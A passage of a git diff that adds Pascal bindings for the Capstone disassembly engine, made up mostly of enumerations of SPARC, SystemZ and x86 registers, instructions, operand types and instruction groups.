SPARC_INS_FPADD64, + SPARC_INS_FPMERGE, + SPARC_INS_FPSUB16, + SPARC_INS_FPSUB16S, + SPARC_INS_FPSUB32, + SPARC_INS_FPSUB32S, + SPARC_INS_FQTOD, + SPARC_INS_FQTOI, + SPARC_INS_FQTOS, + SPARC_INS_FQTOX, + SPARC_INS_FSLAS16, + SPARC_INS_FSLAS32, + SPARC_INS_FSLL16, + SPARC_INS_FSLL32, + SPARC_INS_FSMULD, + SPARC_INS_FSQRTD, + SPARC_INS_FSQRTQ, + SPARC_INS_FSQRTS, + SPARC_INS_FSRA16, + SPARC_INS_FSRA32, + SPARC_INS_FSRC1, + SPARC_INS_FSRC1S, + SPARC_INS_FSRC2, + SPARC_INS_FSRC2S, + SPARC_INS_FSRL16, + SPARC_INS_FSRL32, + SPARC_INS_FSTOD, + SPARC_INS_FSTOI, + SPARC_INS_FSTOQ, + SPARC_INS_FSTOX, + SPARC_INS_FSUBD, + SPARC_INS_FSUBQ, + SPARC_INS_FSUBS, + SPARC_INS_FXNOR, + SPARC_INS_FXNORS, + SPARC_INS_FXOR, + SPARC_INS_FXORS, + SPARC_INS_FXTOD, + SPARC_INS_FXTOQ, + SPARC_INS_FXTOS, + SPARC_INS_FZERO, + SPARC_INS_FZEROS, + SPARC_INS_JMPL, + SPARC_INS_LDD, + SPARC_INS_LD, + SPARC_INS_LDQ, + SPARC_INS_LDSB, + SPARC_INS_LDSH, + SPARC_INS_LDSW, + SPARC_INS_LDUB, + SPARC_INS_LDUH, + SPARC_INS_LDX, + SPARC_INS_LZCNT, + SPARC_INS_MEMBAR, + SPARC_INS_MOVDTOX, + SPARC_INS_MOV, + SPARC_INS_MOVRGEZ, + SPARC_INS_MOVRGZ, + SPARC_INS_MOVRLEZ, + SPARC_INS_MOVRLZ, + SPARC_INS_MOVRNZ, + SPARC_INS_MOVRZ, + SPARC_INS_MOVSTOSW, + SPARC_INS_MOVSTOUW, + SPARC_INS_MULX, + SPARC_INS_NOP, + SPARC_INS_ORCC, + SPARC_INS_ORNCC, + SPARC_INS_ORN, + SPARC_INS_OR, + SPARC_INS_PDIST, + SPARC_INS_PDISTN, + SPARC_INS_POPC, + SPARC_INS_RD, + SPARC_INS_RESTORE, + SPARC_INS_RETT, + SPARC_INS_SAVE, + SPARC_INS_SDIVCC, + SPARC_INS_SDIVX, + SPARC_INS_SDIV, + SPARC_INS_SETHI, + SPARC_INS_SHUTDOWN, + SPARC_INS_SIAM, + SPARC_INS_SLLX, + SPARC_INS_SLL, + SPARC_INS_SMULCC, + SPARC_INS_SMUL, + SPARC_INS_SRAX, + SPARC_INS_SRA, + SPARC_INS_SRLX, + SPARC_INS_SRL, + SPARC_INS_STBAR, + SPARC_INS_STB, + SPARC_INS_STD, + SPARC_INS_ST, + SPARC_INS_STH, + SPARC_INS_STQ, + SPARC_INS_STX, + SPARC_INS_SUBCC, + SPARC_INS_SUBX, + SPARC_INS_SUBXCC, + SPARC_INS_SUB, + SPARC_INS_SWAP, + SPARC_INS_TADDCCTV, + SPARC_INS_TADDCC, + SPARC_INS_T, + SPARC_INS_TSUBCCTV, + SPARC_INS_TSUBCC, + SPARC_INS_UDIVCC, + SPARC_INS_UDIVX, + SPARC_INS_UDIV, + SPARC_INS_UMULCC, + SPARC_INS_UMULXHI, + SPARC_INS_UMUL, + SPARC_INS_UNIMP, + SPARC_INS_FCMPED, + SPARC_INS_FCMPEQ, + SPARC_INS_FCMPES, + SPARC_INS_WR, + SPARC_INS_XMULX, + SPARC_INS_XMULXHI, + SPARC_INS_XNORCC, + SPARC_INS_XNOR, + SPARC_INS_XORCC, + SPARC_INS_XOR, + + // alias instructions + SPARC_INS_RET, + SPARC_INS_RETL, + + SPARC_INS_ENDING // <-- mark the end of the list of instructions + ); + + //> Group of SPARC instructions + sparc_insn_group = ( + SPARC_GRP_INVALID = 0, // = CS_GRP_INVALID + + //> Generic groups + // all jump instructions (conditional+direct+indirect jumps) + SPARC_GRP_JUMP, // = CS_GRP_JUMP + + //> Architecture-specific groups + SPARC_GRP_HARDQUAD = 128, + SPARC_GRP_V9, + SPARC_GRP_VIS, + SPARC_GRP_VIS2, + SPARC_GRP_VIS3, + SPARC_GRP_32BIT, + SPARC_GRP_64BIT, + + SPARC_GRP_ENDING // <-- mark the end of the list of groups + ); + +implementation + +end. diff --git a/Core/Capstone/CapstoneSystemZ.pas b/Core/Capstone/CapstoneSystemZ.pas new file mode 100755 index 0000000..a577670 --- /dev/null +++ b/Core/Capstone/CapstoneSystemZ.pas @@ -0,0 +1,821 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} + +unit CapstoneSystemZ; +{ + systemz.h +} + +interface + +type + //> Enums corresponding to SystemZ condition codes + sysz_cc = ( + SYSZ_CC_INVALID = 0, // invalid CC (default) + + SYSZ_CC_O, + SYSZ_CC_H, + SYSZ_CC_NLE, + SYSZ_CC_L, + SYSZ_CC_NHE, + SYSZ_CC_LH, + SYSZ_CC_NE, + SYSZ_CC_E, + SYSZ_CC_NLH, + SYSZ_CC_HE, + SYSZ_CC_NL, + SYSZ_CC_LE, + SYSZ_CC_NH, + SYSZ_CC_NO + ); + + //> Operand type for instruction's operands + sysz_op_type = ( + SYSZ_OP_INVALID = 0, // = CS_OP_INVALID (Uninitialized). + SYSZ_OP_REG, // = CS_OP_REG (Register operand). + SYSZ_OP_IMM, // = CS_OP_IMM (Immediate operand). + SYSZ_OP_MEM_, // = CS_OP_MEM (Memory operand). + SYSZ_OP_ACREG = 64 // Access register operand. + ); + + // Instruction's operand referring to memory + // This is associated with SYSZ_OP_MEM operand type above + sysz_op_mem = record + base: Byte; + index: Byte; + length: UInt64; + disp: Int64; + end; + + // Instruction operand + cs_sysz_op = record + _type: sysz_op_type; + case Integer of + 0: (reg: Cardinal); + 1: (imm: Int64); + 2: (mem: sysz_op_mem); + end; + + // Instruction structure + cs_sysz = record + cc: sysz_cc; + op_count: Byte; + operands: array[0..5] of cs_sysz_op; + end; + + //> SystemZ registers + sysz_reg = ( + SYSZ_REG_INVALID = 0, + + SYSZ_REG_0, + SYSZ_REG_1, + SYSZ_REG_2, + SYSZ_REG_3, + SYSZ_REG_4, + SYSZ_REG_5, + SYSZ_REG_6, + SYSZ_REG_7, + SYSZ_REG_8, + SYSZ_REG_9, + SYSZ_REG_10, + SYSZ_REG_11, + SYSZ_REG_12, + SYSZ_REG_13, + SYSZ_REG_14, + SYSZ_REG_15, + SYSZ_REG_CC, + SYSZ_REG_F0, + SYSZ_REG_F1, + SYSZ_REG_F2, + SYSZ_REG_F3, + SYSZ_REG_F4, + SYSZ_REG_F5, + SYSZ_REG_F6, + SYSZ_REG_F7, + SYSZ_REG_F8, + SYSZ_REG_F9, + SYSZ_REG_F10, + SYSZ_REG_F11, + SYSZ_REG_F12, + SYSZ_REG_F13, + SYSZ_REG_F14, + SYSZ_REG_F15, + + SYSZ_REG_R0L, + + SYSZ_REG_ENDING + ); + + //> SystemZ instruction + sysz_insn = ( + SYSZ_INS_INVALID = 0, + + SYSZ_INS_A, + SYSZ_INS_ADB, + SYSZ_INS_ADBR, + SYSZ_INS_AEB, + SYSZ_INS_AEBR, + SYSZ_INS_AFI, + SYSZ_INS_AG, + SYSZ_INS_AGF, + SYSZ_INS_AGFI, + SYSZ_INS_AGFR, + SYSZ_INS_AGHI, + SYSZ_INS_AGHIK, + SYSZ_INS_AGR, + SYSZ_INS_AGRK, + SYSZ_INS_AGSI, + SYSZ_INS_AH, + SYSZ_INS_AHI, + SYSZ_INS_AHIK, + SYSZ_INS_AHY, + SYSZ_INS_AIH, + SYSZ_INS_AL, + SYSZ_INS_ALC, + SYSZ_INS_ALCG, + SYSZ_INS_ALCGR, + SYSZ_INS_ALCR, + SYSZ_INS_ALFI, + SYSZ_INS_ALG, + SYSZ_INS_ALGF, + SYSZ_INS_ALGFI, + SYSZ_INS_ALGFR, + SYSZ_INS_ALGHSIK, + SYSZ_INS_ALGR, + SYSZ_INS_ALGRK, + SYSZ_INS_ALHSIK, + SYSZ_INS_ALR, + SYSZ_INS_ALRK, + SYSZ_INS_ALY, + SYSZ_INS_AR, + SYSZ_INS_ARK, + SYSZ_INS_ASI, + SYSZ_INS_AXBR, + SYSZ_INS_AY, + SYSZ_INS_BCR, + SYSZ_INS_BRC, + SYSZ_INS_BRCL, + SYSZ_INS_CGIJ, + SYSZ_INS_CGRJ, + SYSZ_INS_CIJ, + SYSZ_INS_CLGIJ, + SYSZ_INS_CLGRJ, + SYSZ_INS_CLIJ, + SYSZ_INS_CLRJ, + SYSZ_INS_CRJ, + SYSZ_INS_BER, + SYSZ_INS_JE, + SYSZ_INS_JGE, + SYSZ_INS_LOCE, + SYSZ_INS_LOCGE, + SYSZ_INS_LOCGRE, + SYSZ_INS_LOCRE, + SYSZ_INS_STOCE, + SYSZ_INS_STOCGE, + SYSZ_INS_BHR, + SYSZ_INS_BHER, + SYSZ_INS_JHE, + SYSZ_INS_JGHE, + SYSZ_INS_LOCHE, + SYSZ_INS_LOCGHE, + SYSZ_INS_LOCGRHE, + SYSZ_INS_LOCRHE, + SYSZ_INS_STOCHE, + SYSZ_INS_STOCGHE, + SYSZ_INS_JH, + SYSZ_INS_JGH, + SYSZ_INS_LOCH, + SYSZ_INS_LOCGH, + SYSZ_INS_LOCGRH, + SYSZ_INS_LOCRH, + SYSZ_INS_STOCH, + SYSZ_INS_STOCGH, + SYSZ_INS_CGIJNLH, + SYSZ_INS_CGRJNLH, + SYSZ_INS_CIJNLH, + SYSZ_INS_CLGIJNLH, + SYSZ_INS_CLGRJNLH, + SYSZ_INS_CLIJNLH, + SYSZ_INS_CLRJNLH, + SYSZ_INS_CRJNLH, + SYSZ_INS_CGIJE, + SYSZ_INS_CGRJE, + SYSZ_INS_CIJE, + SYSZ_INS_CLGIJE, + SYSZ_INS_CLGRJE, + SYSZ_INS_CLIJE, + SYSZ_INS_CLRJE, + SYSZ_INS_CRJE, + SYSZ_INS_CGIJNLE, + SYSZ_INS_CGRJNLE, + SYSZ_INS_CIJNLE, + SYSZ_INS_CLGIJNLE, + SYSZ_INS_CLGRJNLE, + SYSZ_INS_CLIJNLE, + SYSZ_INS_CLRJNLE, + SYSZ_INS_CRJNLE, + SYSZ_INS_CGIJH, + SYSZ_INS_CGRJH, + SYSZ_INS_CIJH, + SYSZ_INS_CLGIJH, + SYSZ_INS_CLGRJH, + SYSZ_INS_CLIJH, + SYSZ_INS_CLRJH, + SYSZ_INS_CRJH, + SYSZ_INS_CGIJNL, + SYSZ_INS_CGRJNL, + SYSZ_INS_CIJNL, + SYSZ_INS_CLGIJNL, + SYSZ_INS_CLGRJNL, + SYSZ_INS_CLIJNL, + SYSZ_INS_CLRJNL, + SYSZ_INS_CRJNL, + SYSZ_INS_CGIJHE, + SYSZ_INS_CGRJHE, + SYSZ_INS_CIJHE, + SYSZ_INS_CLGIJHE, + SYSZ_INS_CLGRJHE, + SYSZ_INS_CLIJHE, + SYSZ_INS_CLRJHE, + SYSZ_INS_CRJHE, + SYSZ_INS_CGIJNHE, + SYSZ_INS_CGRJNHE, + SYSZ_INS_CIJNHE, + SYSZ_INS_CLGIJNHE, + SYSZ_INS_CLGRJNHE, + SYSZ_INS_CLIJNHE, + SYSZ_INS_CLRJNHE, + SYSZ_INS_CRJNHE, + SYSZ_INS_CGIJL, + SYSZ_INS_CGRJL, + SYSZ_INS_CIJL, + SYSZ_INS_CLGIJL, + SYSZ_INS_CLGRJL, + SYSZ_INS_CLIJL, + SYSZ_INS_CLRJL, + SYSZ_INS_CRJL, + SYSZ_INS_CGIJNH, + SYSZ_INS_CGRJNH, + SYSZ_INS_CIJNH, + SYSZ_INS_CLGIJNH, + SYSZ_INS_CLGRJNH, + SYSZ_INS_CLIJNH, + SYSZ_INS_CLRJNH, + SYSZ_INS_CRJNH, + SYSZ_INS_CGIJLE, + SYSZ_INS_CGRJLE, + SYSZ_INS_CIJLE, + SYSZ_INS_CLGIJLE, + SYSZ_INS_CLGRJLE, + SYSZ_INS_CLIJLE, + SYSZ_INS_CLRJLE, + SYSZ_INS_CRJLE, + SYSZ_INS_CGIJNE, + SYSZ_INS_CGRJNE, + SYSZ_INS_CIJNE, + SYSZ_INS_CLGIJNE, + SYSZ_INS_CLGRJNE, + SYSZ_INS_CLIJNE, + SYSZ_INS_CLRJNE, + SYSZ_INS_CRJNE, + SYSZ_INS_CGIJLH, + SYSZ_INS_CGRJLH, + SYSZ_INS_CIJLH, + SYSZ_INS_CLGIJLH, + SYSZ_INS_CLGRJLH, + SYSZ_INS_CLIJLH, + SYSZ_INS_CLRJLH, + SYSZ_INS_CRJLH, + SYSZ_INS_BLR, + SYSZ_INS_BLER, + SYSZ_INS_JLE, + SYSZ_INS_JGLE, + SYSZ_INS_LOCLE, + SYSZ_INS_LOCGLE, + SYSZ_INS_LOCGRLE, + SYSZ_INS_LOCRLE, + SYSZ_INS_STOCLE, + SYSZ_INS_STOCGLE, + SYSZ_INS_BLHR, + SYSZ_INS_JLH, + SYSZ_INS_JGLH, + SYSZ_INS_LOCLH, + SYSZ_INS_LOCGLH, + SYSZ_INS_LOCGRLH, + SYSZ_INS_LOCRLH, + SYSZ_INS_STOCLH, + SYSZ_INS_STOCGLH, + SYSZ_INS_JL, + SYSZ_INS_JGL, + SYSZ_INS_LOCL, + SYSZ_INS_LOCGL, + SYSZ_INS_LOCGRL, + SYSZ_INS_LOCRL, + SYSZ_INS_LOC, + SYSZ_INS_LOCG, + SYSZ_INS_LOCGR, + SYSZ_INS_LOCR, + SYSZ_INS_STOCL, + SYSZ_INS_STOCGL, + SYSZ_INS_BNER, + SYSZ_INS_JNE, + SYSZ_INS_JGNE, + SYSZ_INS_LOCNE, + SYSZ_INS_LOCGNE, + SYSZ_INS_LOCGRNE, + SYSZ_INS_LOCRNE, + SYSZ_INS_STOCNE, + SYSZ_INS_STOCGNE, + SYSZ_INS_BNHR, + SYSZ_INS_BNHER, + SYSZ_INS_JNHE, + SYSZ_INS_JGNHE, + SYSZ_INS_LOCNHE, + SYSZ_INS_LOCGNHE, + SYSZ_INS_LOCGRNHE, + SYSZ_INS_LOCRNHE, + SYSZ_INS_STOCNHE, + SYSZ_INS_STOCGNHE, + SYSZ_INS_JNH, + SYSZ_INS_JGNH, + SYSZ_INS_LOCNH, + SYSZ_INS_LOCGNH, + SYSZ_INS_LOCGRNH, + SYSZ_INS_LOCRNH, + SYSZ_INS_STOCNH, + SYSZ_INS_STOCGNH, + SYSZ_INS_BNLR, + SYSZ_INS_BNLER, + SYSZ_INS_JNLE, + SYSZ_INS_JGNLE, + SYSZ_INS_LOCNLE, + SYSZ_INS_LOCGNLE, + SYSZ_INS_LOCGRNLE, + SYSZ_INS_LOCRNLE, + SYSZ_INS_STOCNLE, + SYSZ_INS_STOCGNLE, + SYSZ_INS_BNLHR, + SYSZ_INS_JNLH, + SYSZ_INS_JGNLH, + SYSZ_INS_LOCNLH, + SYSZ_INS_LOCGNLH, + SYSZ_INS_LOCGRNLH, + SYSZ_INS_LOCRNLH, + SYSZ_INS_STOCNLH, + SYSZ_INS_STOCGNLH, + SYSZ_INS_JNL, + SYSZ_INS_JGNL, + SYSZ_INS_LOCNL, + SYSZ_INS_LOCGNL, + SYSZ_INS_LOCGRNL, + SYSZ_INS_LOCRNL, + SYSZ_INS_STOCNL, + SYSZ_INS_STOCGNL, + SYSZ_INS_BNOR, + SYSZ_INS_JNO, + SYSZ_INS_JGNO, + SYSZ_INS_LOCNO, + SYSZ_INS_LOCGNO, + SYSZ_INS_LOCGRNO, + SYSZ_INS_LOCRNO, + SYSZ_INS_STOCNO, + SYSZ_INS_STOCGNO, + SYSZ_INS_BOR, + SYSZ_INS_JO, + SYSZ_INS_JGO, + SYSZ_INS_LOCO, + SYSZ_INS_LOCGO, + SYSZ_INS_LOCGRO, + SYSZ_INS_LOCRO, + SYSZ_INS_STOCO, + SYSZ_INS_STOCGO, + SYSZ_INS_STOC, + SYSZ_INS_STOCG, + SYSZ_INS_BASR, + SYSZ_INS_BR, + SYSZ_INS_BRAS, + SYSZ_INS_BRASL, + SYSZ_INS_J, + SYSZ_INS_JG, + SYSZ_INS_BRCT, + SYSZ_INS_BRCTG, + SYSZ_INS_C, + SYSZ_INS_CDB, + SYSZ_INS_CDBR, + SYSZ_INS_CDFBR, + SYSZ_INS_CDGBR, + SYSZ_INS_CDLFBR, + SYSZ_INS_CDLGBR, + SYSZ_INS_CEB, + SYSZ_INS_CEBR, + SYSZ_INS_CEFBR, + SYSZ_INS_CEGBR, + SYSZ_INS_CELFBR, + SYSZ_INS_CELGBR, + SYSZ_INS_CFDBR, + SYSZ_INS_CFEBR, + SYSZ_INS_CFI, + SYSZ_INS_CFXBR, + SYSZ_INS_CG, + SYSZ_INS_CGDBR, + SYSZ_INS_CGEBR, + SYSZ_INS_CGF, + SYSZ_INS_CGFI, + SYSZ_INS_CGFR, + SYSZ_INS_CGFRL, + SYSZ_INS_CGH, + SYSZ_INS_CGHI, + SYSZ_INS_CGHRL, + SYSZ_INS_CGHSI, + SYSZ_INS_CGR, + SYSZ_INS_CGRL, + SYSZ_INS_CGXBR, + SYSZ_INS_CH, + SYSZ_INS_CHF, + SYSZ_INS_CHHSI, + SYSZ_INS_CHI, + SYSZ_INS_CHRL, + SYSZ_INS_CHSI, + SYSZ_INS_CHY, + SYSZ_INS_CIH, + SYSZ_INS_CL, + SYSZ_INS_CLC, + SYSZ_INS_CLFDBR, + SYSZ_INS_CLFEBR, + SYSZ_INS_CLFHSI, + SYSZ_INS_CLFI, + SYSZ_INS_CLFXBR, + SYSZ_INS_CLG, + SYSZ_INS_CLGDBR, + SYSZ_INS_CLGEBR, + SYSZ_INS_CLGF, + SYSZ_INS_CLGFI, + SYSZ_INS_CLGFR, + SYSZ_INS_CLGFRL, + SYSZ_INS_CLGHRL, + SYSZ_INS_CLGHSI, + SYSZ_INS_CLGR, + SYSZ_INS_CLGRL, + SYSZ_INS_CLGXBR, + SYSZ_INS_CLHF, + SYSZ_INS_CLHHSI, + SYSZ_INS_CLHRL, + SYSZ_INS_CLI, + SYSZ_INS_CLIH, + SYSZ_INS_CLIY, + SYSZ_INS_CLR, + SYSZ_INS_CLRL, + SYSZ_INS_CLST, + SYSZ_INS_CLY, + SYSZ_INS_CPSDR, + SYSZ_INS_CR, + SYSZ_INS_CRL, + SYSZ_INS_CS, + SYSZ_INS_CSG, + SYSZ_INS_CSY, + SYSZ_INS_CXBR, + SYSZ_INS_CXFBR, + SYSZ_INS_CXGBR, + SYSZ_INS_CXLFBR, + SYSZ_INS_CXLGBR, + SYSZ_INS_CY, + SYSZ_INS_DDB, + SYSZ_INS_DDBR, + SYSZ_INS_DEB, + SYSZ_INS_DEBR, + SYSZ_INS_DL, + SYSZ_INS_DLG, + SYSZ_INS_DLGR, + SYSZ_INS_DLR, + SYSZ_INS_DSG, + SYSZ_INS_DSGF, + SYSZ_INS_DSGFR, + SYSZ_INS_DSGR, + SYSZ_INS_DXBR, + SYSZ_INS_EAR, + SYSZ_INS_FIDBR, + SYSZ_INS_FIDBRA, + SYSZ_INS_FIEBR, + SYSZ_INS_FIEBRA, + SYSZ_INS_FIXBR, + SYSZ_INS_FIXBRA, + SYSZ_INS_FLOGR, + SYSZ_INS_IC, + SYSZ_INS_ICY, + SYSZ_INS_IIHF, + SYSZ_INS_IIHH, + SYSZ_INS_IIHL, + SYSZ_INS_IILF, + SYSZ_INS_IILH, + SYSZ_INS_IILL, + SYSZ_INS_IPM, + SYSZ_INS_L, + SYSZ_INS_LA, + SYSZ_INS_LAA, + SYSZ_INS_LAAG, + SYSZ_INS_LAAL, + SYSZ_INS_LAALG, + SYSZ_INS_LAN, + SYSZ_INS_LANG, + SYSZ_INS_LAO, + SYSZ_INS_LAOG, + SYSZ_INS_LARL, + SYSZ_INS_LAX, + SYSZ_INS_LAXG, + SYSZ_INS_LAY, + SYSZ_INS_LB, + SYSZ_INS_LBH, + SYSZ_INS_LBR, + SYSZ_INS_LCDBR, + SYSZ_INS_LCEBR, + SYSZ_INS_LCGFR, + SYSZ_INS_LCGR, + SYSZ_INS_LCR, + SYSZ_INS_LCXBR, + SYSZ_INS_LD, + SYSZ_INS_LDEB, + SYSZ_INS_LDEBR, + SYSZ_INS_LDGR, + SYSZ_INS_LDR, + SYSZ_INS_LDXBR, + SYSZ_INS_LDXBRA, + SYSZ_INS_LDY, + SYSZ_INS_LE, + SYSZ_INS_LEDBR, + SYSZ_INS_LEDBRA, + SYSZ_INS_LER, + SYSZ_INS_LEXBR, + SYSZ_INS_LEXBRA, + SYSZ_INS_LEY, + SYSZ_INS_LFH, + SYSZ_INS_LG, + SYSZ_INS_LGB, + SYSZ_INS_LGBR, + SYSZ_INS_LGDR, + SYSZ_INS_LGF, + SYSZ_INS_LGFI, + SYSZ_INS_LGFR, + SYSZ_INS_LGFRL, + SYSZ_INS_LGH, + SYSZ_INS_LGHI, + SYSZ_INS_LGHR, + SYSZ_INS_LGHRL, + SYSZ_INS_LGR, + SYSZ_INS_LGRL, + SYSZ_INS_LH, + SYSZ_INS_LHH, + SYSZ_INS_LHI, + SYSZ_INS_LHR, + SYSZ_INS_LHRL, + SYSZ_INS_LHY, + SYSZ_INS_LLC, + SYSZ_INS_LLCH, + SYSZ_INS_LLCR, + SYSZ_INS_LLGC, + SYSZ_INS_LLGCR, + SYSZ_INS_LLGF, + SYSZ_INS_LLGFR, + SYSZ_INS_LLGFRL, + SYSZ_INS_LLGH, + SYSZ_INS_LLGHR, + SYSZ_INS_LLGHRL, + SYSZ_INS_LLH, + SYSZ_INS_LLHH, + SYSZ_INS_LLHR, + SYSZ_INS_LLHRL, + SYSZ_INS_LLIHF, + SYSZ_INS_LLIHH, + SYSZ_INS_LLIHL, + SYSZ_INS_LLILF, + SYSZ_INS_LLILH, + SYSZ_INS_LLILL, + SYSZ_INS_LMG, + SYSZ_INS_LNDBR, + SYSZ_INS_LNEBR, + SYSZ_INS_LNGFR, + SYSZ_INS_LNGR, + SYSZ_INS_LNR, + SYSZ_INS_LNXBR, + SYSZ_INS_LPDBR, + SYSZ_INS_LPEBR, + SYSZ_INS_LPGFR, + SYSZ_INS_LPGR, + SYSZ_INS_LPR, + SYSZ_INS_LPXBR, + SYSZ_INS_LR, + SYSZ_INS_LRL, + SYSZ_INS_LRV, + SYSZ_INS_LRVG, + SYSZ_INS_LRVGR, + SYSZ_INS_LRVR, + SYSZ_INS_LT, + SYSZ_INS_LTDBR, + SYSZ_INS_LTEBR, + SYSZ_INS_LTG, + SYSZ_INS_LTGF, + SYSZ_INS_LTGFR, + SYSZ_INS_LTGR, + SYSZ_INS_LTR, + SYSZ_INS_LTXBR, + SYSZ_INS_LXDB, + SYSZ_INS_LXDBR, + SYSZ_INS_LXEB, + SYSZ_INS_LXEBR, + SYSZ_INS_LXR, + SYSZ_INS_LY, + SYSZ_INS_LZDR, + SYSZ_INS_LZER, + SYSZ_INS_LZXR, + SYSZ_INS_MADB, + SYSZ_INS_MADBR, + SYSZ_INS_MAEB, + SYSZ_INS_MAEBR, + SYSZ_INS_MDB, + SYSZ_INS_MDBR, + SYSZ_INS_MDEB, + SYSZ_INS_MDEBR, + SYSZ_INS_MEEB, + SYSZ_INS_MEEBR, + SYSZ_INS_MGHI, + SYSZ_INS_MH, + SYSZ_INS_MHI, + SYSZ_INS_MHY, + SYSZ_INS_MLG, + SYSZ_INS_MLGR, + SYSZ_INS_MS, + SYSZ_INS_MSDB, + SYSZ_INS_MSDBR, + SYSZ_INS_MSEB, + SYSZ_INS_MSEBR, + SYSZ_INS_MSFI, + SYSZ_INS_MSG, + SYSZ_INS_MSGF, + SYSZ_INS_MSGFI, + SYSZ_INS_MSGFR, + SYSZ_INS_MSGR, + SYSZ_INS_MSR, + SYSZ_INS_MSY, + SYSZ_INS_MVC, + SYSZ_INS_MVGHI, + SYSZ_INS_MVHHI, + SYSZ_INS_MVHI, + SYSZ_INS_MVI, + SYSZ_INS_MVIY, + SYSZ_INS_MVST, + SYSZ_INS_MXBR, + SYSZ_INS_MXDB, + SYSZ_INS_MXDBR, + SYSZ_INS_N, + SYSZ_INS_NC, + SYSZ_INS_NG, + SYSZ_INS_NGR, + SYSZ_INS_NGRK, + SYSZ_INS_NI, + SYSZ_INS_NIHF, + SYSZ_INS_NIHH, + SYSZ_INS_NIHL, + SYSZ_INS_NILF, + SYSZ_INS_NILH, + SYSZ_INS_NILL, + SYSZ_INS_NIY, + SYSZ_INS_NR, + SYSZ_INS_NRK, + SYSZ_INS_NY, + SYSZ_INS_O, + SYSZ_INS_OC, + SYSZ_INS_OG, + SYSZ_INS_OGR, + SYSZ_INS_OGRK, + SYSZ_INS_OI, + SYSZ_INS_OIHF, + SYSZ_INS_OIHH, + SYSZ_INS_OIHL, + SYSZ_INS_OILF, + SYSZ_INS_OILH, + SYSZ_INS_OILL, + SYSZ_INS_OIY, + SYSZ_INS_OR, + SYSZ_INS_ORK, + SYSZ_INS_OY, + SYSZ_INS_PFD, + SYSZ_INS_PFDRL, + SYSZ_INS_RISBG, + SYSZ_INS_RISBHG, + SYSZ_INS_RISBLG, + SYSZ_INS_RLL, + SYSZ_INS_RLLG, + SYSZ_INS_RNSBG, + SYSZ_INS_ROSBG, + SYSZ_INS_RXSBG, + SYSZ_INS_S, + SYSZ_INS_SDB, + SYSZ_INS_SDBR, + SYSZ_INS_SEB, + SYSZ_INS_SEBR, + SYSZ_INS_SG, + SYSZ_INS_SGF, + SYSZ_INS_SGFR, + SYSZ_INS_SGR, + SYSZ_INS_SGRK, + SYSZ_INS_SH, + SYSZ_INS_SHY, + SYSZ_INS_SL, + SYSZ_INS_SLB, + SYSZ_INS_SLBG, + SYSZ_INS_SLBR, + SYSZ_INS_SLFI, + SYSZ_INS_SLG, + SYSZ_INS_SLBGR, + SYSZ_INS_SLGF, + SYSZ_INS_SLGFI, + SYSZ_INS_SLGFR, + SYSZ_INS_SLGR, + SYSZ_INS_SLGRK, + SYSZ_INS_SLL, + SYSZ_INS_SLLG, + SYSZ_INS_SLLK, + SYSZ_INS_SLR, + SYSZ_INS_SLRK, + SYSZ_INS_SLY, + SYSZ_INS_SQDB, + SYSZ_INS_SQDBR, + SYSZ_INS_SQEB, + SYSZ_INS_SQEBR, + SYSZ_INS_SQXBR, + SYSZ_INS_SR, + SYSZ_INS_SRA, + SYSZ_INS_SRAG, + SYSZ_INS_SRAK, + SYSZ_INS_SRK, + SYSZ_INS_SRL, + SYSZ_INS_SRLG, + SYSZ_INS_SRLK, + SYSZ_INS_SRST, + SYSZ_INS_ST, + SYSZ_INS_STC, + SYSZ_INS_STCH, + SYSZ_INS_STCY, + SYSZ_INS_STD, + SYSZ_INS_STDY, + SYSZ_INS_STE, + SYSZ_INS_STEY, + SYSZ_INS_STFH, + SYSZ_INS_STG, + SYSZ_INS_STGRL, + SYSZ_INS_STH, + SYSZ_INS_STHH, + SYSZ_INS_STHRL, + SYSZ_INS_STHY, + SYSZ_INS_STMG, + SYSZ_INS_STRL, + SYSZ_INS_STRV, + SYSZ_INS_STRVG, + SYSZ_INS_STY, + SYSZ_INS_SXBR, + SYSZ_INS_SY, + SYSZ_INS_TM, + SYSZ_INS_TMHH, + SYSZ_INS_TMHL, + SYSZ_INS_TMLH, + SYSZ_INS_TMLL, + SYSZ_INS_TMY, + SYSZ_INS_X, + SYSZ_INS_XC, + SYSZ_INS_XG, + SYSZ_INS_XGR, + SYSZ_INS_XGRK, + SYSZ_INS_XI, + SYSZ_INS_XIHF, + SYSZ_INS_XILF, + SYSZ_INS_XIY, + SYSZ_INS_XR, + SYSZ_INS_XRK, + SYSZ_INS_XY, + + SYSZ_INS_ENDING // <-- mark the end of the list of instructions + ); + + //> Group of SystemZ instructions + sysz_insn_group = ( + SYSZ_GRP_INVALID = 0, // = CS_GRP_INVALID + + //> Generic groups + // all jump instructions (conditional+direct+indirect jumps) + SYSZ_GRP_JUMP, // = CS_GRP_JUMP + + //> Architecture-specific groups + SYSZ_GRP_DISTINCTOPS = 128, + SYSZ_GRP_FPEXTENSION, + SYSZ_GRP_HIGHWORD, + SYSZ_GRP_INTERLOCKEDACCESS1, + SYSZ_GRP_LOADSTOREONCOND, + + SYSZ_GRP_ENDING // <-- mark the end of the list of groups + ); + +implementation + +end. \ No newline at end of file diff --git a/Core/Capstone/CapstoneX86.pas b/Core/Capstone/CapstoneX86.pas new file mode 100755 index 0000000..764cb4e --- /dev/null +++ b/Core/Capstone/CapstoneX86.pas @@ -0,0 +1,1591 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} + +unit CapstoneX86; +{ + x86.h +} +{$SMARTLINK ON} +interface + +type + //> X86 registers + x86_reg = ( + X86_REG_INVALID = 0, + X86_REG_AH, X86_REG_AL, X86_REG_AX, X86_REG_BH, X86_REG_BL, + X86_REG_BP, X86_REG_BPL, X86_REG_BX, X86_REG_CH, X86_REG_CL, + X86_REG_CS, X86_REG_CX, X86_REG_DH, X86_REG_DI, X86_REG_DIL, + X86_REG_DL, X86_REG_DS, X86_REG_DX, X86_REG_EAX, X86_REG_EBP, + X86_REG_EBX, X86_REG_ECX, X86_REG_EDI, X86_REG_EDX, X86_REG_EFLAGS, + X86_REG_EIP, X86_REG_EIZ, X86_REG_ES, X86_REG_ESI, X86_REG_ESP, + X86_REG_FPSW, X86_REG_FS, X86_REG_GS, X86_REG_IP, X86_REG_RAX, + X86_REG_RBP, X86_REG_RBX, X86_REG_RCX, X86_REG_RDI, X86_REG_RDX, + X86_REG_RIP, X86_REG_RIZ, X86_REG_RSI, X86_REG_RSP, 